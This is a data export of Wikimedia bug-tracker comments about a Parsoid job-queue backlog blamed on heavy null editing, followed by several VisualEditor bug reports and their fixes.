+252075,Parsoid jobs are not dequeued fast enough during heavy editing activity,"I'm not sure how familiar you are with the actual writing and enacting of those social rules, but surely here nothing was done against them. The social rules in the various variations of the global [[m:Bot policy]] are not about performance; the speed limit is typically driven by users not wanting their Special:RecentChanges and Special:WatchList to be flooded, which in this case obviously didn't happen (so let's not even start debating what's an ""edit"").
+
+Besides, I don't really have an answer yet to my question, though we're getting nearer; probably it would be faster if we avoided off-topic discussions on alleged abuse and similar stuff.
+
+(In reply to comment #19)
+> (In reply to comment #15)
+> > I still see no answer about what the spike on July 29 was: are you saying it
+> > wasn't about parsoid, but just a coincidence? Or that it was normal to queue
+> > over a million jobs in a couple of days (initial caching of all pages or
+> > something?) but the second million was too much?
+> 
+> Just editing a handful really popular templates (some are used in >7 million
+> articles) can enqueue a lot of jobs (10 titles per job, so ~700k jobs). As
+> can
+> editing content at high rates. Core happens to cap the number of titles to
+> re-render at 200k, while Parsoid re-renders all, albeit with a delay.
+
+Thanks, so I guess the answer is the second. Can you then explain why ""the second million was too much"", i.e. why reaching 2M job queue is in your opinion all fine and normal while 3 is something absolutely horrible and criminal? Thanks.",,,1379916365,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,12,,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+252069,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #15)
+> I still see no answer about what the spike on July 29 was: are you saying it
+> wasn't about parsoid, but just a coincidence? Or that it was normal to queue
+> over a million jobs in a couple of days (initial caching of all pages or
+> something?) but the second million was too much?
+
+Just editing a handful really popular templates (some are used in >7 million articles) can enqueue a lot of jobs (10 titles per job, so ~700k jobs). As can editing content at high rates. Core happens to cap the number of titles to re-render at 200k, while Parsoid re-renders all, albeit with a delay.
+
+Ideally we'd prioritize direct edits over template updates as only the former has any performance impact. Editing a page with slightly out-of-date template rendering will still yield correct results. Longer-term our goal is to reduce API requests further so that we can run the Parsoid cluster at capacity without taking out the API.
+
+And yes, I was referring to very straightforward social rules that are designed to prevent our users from overloading the site with expensive operations. We currently provide powerful API access that can easily be abused. If the attitude that everything that is not technically blocked must surely be ok becomes more popular we'll have to neuter those APIs significantly. Maybe it is actually time to technically enforce social rules more strictly, for example by automatically blocking abusers.",,,1379909439,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,12,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+252065,Parsoid jobs are not dequeued fast enough during heavy editing activity,"No user in the ""bot"" user group was used to null edit. Just a standard and unprivileged (albeit autoconfirmed) account.
+
+On Wikimedia wikis, 'edit' is rate-limited only for 'ip' and 'newbie', but not for 'user' or 'bot' or any other group, as far as I can tell.",,,1379899091,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,12,,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+252059,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #16)
+> (In reply to comment #14)
+> > Bots are explicitly not rate-limited.
+> 
+> https://en.wikipedia.org/wiki/Wikipedia:Bot_policy#Bot_requirements states
+> that
+> ""bots doing non-urgent tasks may edit approximately once every ten seconds"". 
+> Am I missing something?
+
+That requirement is imposed by the community, it is not necessarily a technical limit. If you look at https://en.wikipedia.org/wiki/Special:ListGroupRights, the 'bot' group is deliberately exempted from rate limits with the 'noratelimit' userright.",,,1379897340,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,12,,1,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1
+252051,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #14)
+> Bots are explicitly not rate-limited.
+
+https://en.wikipedia.org/wiki/Wikipedia:Bot_policy#Bot_requirements states that ""bots doing non-urgent tasks may edit approximately once every ten seconds"". 
+Am I missing something?",,,1379896974,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,12,,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1
+252044,Parsoid jobs are not dequeued fast enough during heavy editing activity,"I still see no answer about what the spike on July 29 was: are you saying it wasn't about parsoid, but just a coincidence? Or that it was normal to queue over a million jobs in a couple of days (initial caching of all pages or something?) but the second million was too much?
+
+The new summary seems incorrect in two ways:
+1) ""fast enough"" might be incorrect, you say that it's not important if it's slow,
+2) ""during heavy bot activity"" is a possibly incorrect guess.
+What's sure is that we no longer seem to have any meaningful job queue data.",,,1379880448,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+252037,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #13)
+> Still, to avoid any misunderstandings: Null editing at rates way higher than
+> those allowed for bots is at best a very bad idea.
+
+Bots are explicitly not rate-limited.",,,1379835104,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,11,,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1
+252030,Parsoid jobs are not dequeued fast enough during heavy editing activity,"Changed the subject to be more accurate. Some more clarification for those less familiar with the way Parsoid caching works:
+
+* Timely Parsoid cache refreshes are not needed for correctness. Delayed updates can result in a higher percentage of cache misses than usual, but will not result in incorrect edits.
+
+* Parsoid uses its own queue, so a backlog does not affect any other job queue.
+
+So in the bigger picture this is annoying, but not critical.
+
+Still, to avoid any misunderstandings: Null editing at rates way higher than those allowed for bots is at best a very bad idea.",,,1379834310,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0
+252023,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #10)
+> (In reply to comment #9)
+> > Since
+> > that stopped yesterday, the enwiki Parsoid job queue has drained by 10% (200k
+> > jobs).
+> 
+> Did the other jobs increase then? 
+
+Jobs in other job queues (I see 26k refreshlinks2 jobs on enwiki for example), and/or Parsoid jobs on other wikis have likely slightly increased in number. Overall the queue size has slightly decreased since the null-editing was stopped.",,,1379792185,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+252017,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #9)
+> It seems that the Parsoid dequeue rate was slightly lower than the average
+> enqueue rate since the end of July, which allowed the job backlog to build
+> up a bit.
+
+A bit? Looking at https://ganglia.wikimedia.org/latest/graph_all_periods.php?c=Miscellaneous%20pmtpa&h=hume.wikimedia.org&v=823574&m=Global_JobQueue_length&r=hour&z=default&jr=&js=&st=1365625056&z=large it seems like the queue went from 355,850 to 1,590,000 in the span of about six days (from July 29 to August 3). It grew by... 346%? That's what you're calling ""a bit""?",,,1379789440,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+252009,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #9)
+> Since
+> that stopped yesterday, the enwiki Parsoid job queue has drained by 10% (200k
+> jobs).
+
+Did the other jobs increase then? The total job queue was 3.01M and is now 2.94M (it generally goes down in European nights and so).",,,1379788021,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+252002,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #6)
+> (In reply to comment #3)
+> > We dequeue Parsoid jobs in a throttled manner to avoid overloading the API
+> > during edit spikes. This means that abnormal edit rates especially to
+> > templates can create a large backlog of jobs in the Parsoid queue.
+> 
+> Where does Parsoid fit in to the general MediaWiki ecosystem? Are Parsoid
+> jobs
+> generated on every edit? If so, why? 
+
+After an edit, the Parsoid HTML for each affected article is generated / updated with jobs that perform HTTP requests to the Parsoid cluster. This ensures that requests from VisualEditor and other users are normally served straight from cache. We have been processing all edits from all Wikipedias since June. As expected, VE deployments have not made a noticeable difference to the load on the Parsoid cluster.
+
+It seems that the Parsoid dequeue rate was slightly lower than the average enqueue rate since the end of July, which allowed the job backlog to build up a bit. During MZMcBride's null edit episode the backlog doubled in size. Since that stopped yesterday, the enwiki Parsoid job queue has drained by 10% (200k jobs).
+
+So overall, the Parsoid job dequeue rate is slightly too low to absorb abnormal edit rates in a timely manner. It might be sufficient to slightly de-throttle the Parsoid dequeue rate while keeping an eye on the API cluster load (https://ganglia.wikimedia.org/latest/?r=hour&cs=&ce=&m=cpu_report&s=by+name&c=API+application+servers+eqiad&h=&host_regex=&max_graphs=0&tab=m&vn=&sh=1&z=small&hc=4).",,,1379787771,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,1,1,0,1,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+251997,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #7)
+> Created attachment 13342 [details]
+> Screenshot to accompany comment 2
+
+The spike around July 29 is easy to see and most likely corresponds with the deployment mentioned in comment 2. There are also spikes around August 14 and September 8, neither of which have been accounted for yet.
+
+**Attached**: {F11772}",,,1379780486,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1
+251992,Parsoid jobs are not dequeued fast enough during heavy editing activity,"Created attachment 13342
+Screenshot to accompany comment 2
+
+**Attached**: {F11772}",,,1379780363,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+251986,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #3)
+> We dequeue Parsoid jobs in a throttled manner to avoid overloading the API
+> during edit spikes. This means that abnormal edit rates especially to
+> templates can create a large backlog of jobs in the Parsoid queue.
+
+Where does Parsoid fit in to the general MediaWiki ecosystem? Are Parsoid jobs generated on every edit? If so, why? My understanding is that Parsoid is related to VisualEditor, so I have difficultly understanding how millions of Parsoid jobs would be queued unless they were all related to VisualEditor usage.
+
+> The main issue seems to be MZMcBride's null editing at a rate way beyond even
+> bot edit limits.
+
+What's a bot edit limit?
+
+> Do we have a product for DoS attack detection and -mitigation?
+
+DoS attack? I think it makes sense for all of us to focus on why and how Parsoid is flooding the global job queue. Suggesting anyone was performing a denial-of-service attack is both inappropriate and unhelpful. There are a number of anti-abuse measures built in to MediaWiki, to answer your question generally.",,,1379774099,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,11,,1,1,0,1,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+251982,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #2)
+> For the record, my null editing respected maxlag. It also started August 28
+> and
+> ended September 20.
+
+maxlag has actually little relevance as a metric on the task you were doing...",,,1379755583,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+251976,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #3)
+> The main issue seems to be MZMcBride's null editing at a rate way beyond even
+> bot edit limits.
+
+Can you please clarify how, in your opinion, the null editing retroactively caused a spike a month before its beginning? Thanks.",,,1379754279,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+251971,Parsoid jobs are not dequeued fast enough during heavy editing activity,"We dequeue Parsoid jobs in a throttled manner to avoid overloading the API during edit spikes. This means that abnormal edit rates especially to templates can create a large backlog of jobs in the Parsoid queue. This is then slowly processed over time. Since this is a separate queue this won't hold up other job queues.
+
+The main issue seems to be MZMcBride's null editing at a rate way beyond even bot edit limits. Do we have a product for DoS attack detection and -mitigation?",,,1379751042,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+251966,Parsoid jobs are not dequeued fast enough during heavy editing activity,"For the record, my null editing respected maxlag. It also started August 28 and ended September 20.
+
+The graph goes wild around July 29, which seems to correspond tightly with ""16:44 logmsgbot: catrope synchronized wmf-config/InitialiseSettings.php 'Enable VE for anons on es/fr/he/it/pl/ru/svwiki; set dewiki back to opt-in mode'"".",,,1379717174,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+251960,Parsoid jobs are not dequeued fast enough during heavy editing activity,"https://ganglia.wikimedia.org/latest/graph_all_periods.php?c=Miscellaneous%20pmtpa&h=hume.wikimedia.org&v=823574&m=Global_JobQueue_length&r=hour&z=default&jr=&js=&st=1365625056&z=large
+
+06.11 < TimStarling> mostly parsoid
+06.11 < TimStarling> ParsoidCacheUpdateJob: 2413680 queued; 611 claimed (12 active, 599 abandoned)",,,1379716743,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0
+56379,"VisualEditor: Right half of toolbar disappears when <center> or <div align=""center""> appears in image on first line of page","When a page has an image on the first line and the image caption contains a <center> tag or a <div align=""...""> tag (where ... is ""left"", ""right"" or ""center"">, the right half of the VE toolbar (Beta, Page settings, Cancel and Save) are not visible. Obviously this means you cannot save any edits.
+
+Curiously, <p align=""center""> does not exhibit this problem.
+
+Example from an article: https://en.wikipedia.org/w/index.php?title=Little_Tich&oldid=573770305
+
+Minimal test case: https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=573786703
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54642",High,80.0,1379688840,1393531314.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-fl7p4f543bjhpoylmcxl,task_description,resolved,True,c1,3,False,False,False,11,,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+250281,"VisualEditor: Right half of toolbar disappears when <center> or <div align=""center""> appears in image on first line of page","This was fixed some time ago, I believe; sorry for the very slow triage.",,,1393531314,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fl7p4f543bjhpoylmcxl,task_subcomment,,True,c1,3,True,,,34,,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+56377,VisualEditor: Paste validation fails for images in FF,"Because firefox converts path attributes to absolute URLs, the hashes don't match up, so VE pastes the plain-text equivalent content (empty string).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1379685180,1379978107.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-rjymkq6lc7hubjand5ea,task_description,resolved,True,c1,3,True,False,True,11,,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+250158,VisualEditor: Paste validation fails for images in FF,"Change 85213 merged by jenkins-bot:
+Ignore all node attributes in clipboard hash
+
+https://gerrit.wikimedia.org/r/85213",,,1379977305,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rjymkq6lc7hubjand5ea,task_subcomment,,True,c1,3,False,,,12,,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+250153,VisualEditor: Paste validation fails for images in FF,"Change 85213 had a related patch set uploaded by Esanders:
+Clipboard hash should ignore all node attributes
+
+https://gerrit.wikimedia.org/r/85213",,,1379688103,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rjymkq6lc7hubjand5ea,task_subcomment,,True,c1,3,False,,,11,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+56335,VisualEditor: Surface isn't updated properly for Language annotations,"This is extremely weird, and is relatively new, and I am at a loss.
+
+Steps to reproduce:
+1. Put cursor on some word in the article.
+2. Select ""More -> Language"" in the toolbar
+3. Click ""Change Language"" button in the widget
+4. Choose any other language (for example, ""Hebrew"")
+5. Close the inspector by clicking anywhere else.
+6. Notice: The word is surrounded with a language span, but it has the initial en/ltr values instead of the chosen annotation.
+7. Save the article.
+8. Click on ""Edit Source"" --> the language span contains the *correct* annotation (he/rtl)
+
+Expansion on that:
+1. Repeat the above through step 6.
+2. Select a separate word and annotate it with some random link.
+3. Inspect the original language span -- *now* it's updated!
+
+One more weirdness:
+1. Repeat above through step 6.
+2. Put the cursor back on that annotation, and open the inspector
+3. Observe: While the surface shows the span as en/ltr, the inspector widget shows the correct annotation (hebrew/rtl)
+
+This happens in master and in the live mediawiki.org version.
+
+
+
+I've spent a while tracking what is wrong with the annotations, and they seem to be correct in the inspector itself. In the ""onClose"", the annotation is the correct he/rtl one, being then sent to AnnotationInspector onClose, and then to the SurfaceFragment for execution in the fragment.annotateContent( 'set', annotation )
+
+That annotation (the final one that's sent to the fragment) is the *correct* annotation. And yet, somewhere along the way the update stops. 
+
+I tried stepping into the code inside ve.ce.Surface onChange and the annotation remains the correct one. It then continues to ve.dm.Surface 'change' method where the annotation is still the correct one (he/rtl) 
+
+And yet somewhere it doesn't update the surface.
+
+Link Inspector seems to work properly, though, and both link and language inspector rely on AnnotationInspector, which makes me think there is an issue with Language specifically, or that perhaps something has changed with the definition that needs to be updated in the Language inspector.
+
+I'm not sure if the problem is in the Language Inspector (though that seems a bit odd, since the annotation remains correct throughout) or somewhere in the process of updating (and that seems weird too since *links* are working fine).
+
+I'm at a loss. Help is appreciated!
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1379607000,1382644915.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-zlvsszagknsbory2w3zc,task_description,resolved,True,c1,3,False,False,False,11,,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,0,1,0,1,1,0,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+247687,VisualEditor: Surface isn't updated properly for Language annotations,This was fixed in gerrit 90957.,,,1382644915,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zlvsszagknsbory2w3zc,task_subcomment,,True,c1,3,True,,,16,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+247684,VisualEditor: Surface isn't updated properly for Language annotations,"The same also happens with Link annotation on MediaWiki.org and on Master.
+
+Since the dataModel seems to change, and the problem *seems* to be in the ce.Surface not changing, I am in dire need of help. 
+
+Based on advice from Roan, I've repeatedly checked the transaction history, and it shows a correct transaction on both meta/language annotation and link/mwInternal and link/mwExternal as it should, based on the annotation actions.
+
+And yet, while the datamodel seems to be updated, the ce.Surface does not.",,,1379642223,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-zlvsszagknsbory2w3zc,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+56332,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"Following on from the reports at bug 51142 comments 5-9 
+
+In every case where the last character of a link is non-alphanumeric and any text is inserted before that character. It seems that the underscore behaves as an alphanumeric character, and that script is irrelevant. It doesn't matter if the link was added in the current editing session or not.
+
+e.g. [[Link|Link.]] → [[Link]]<nowiki />s[[Link|.]]
+but [[Links]] → [[Linkers]] (this is the expected behaviour for all situations)
+
+See https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox3&diff=573654600&oldid=573653290
+
+If due to this a non-alphanumeric character that was previously mid-link but now becomes the last character of the link, adding any character before it triggers the bug again.
+
+See https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox3&diff=573655981&oldid=573654600
+
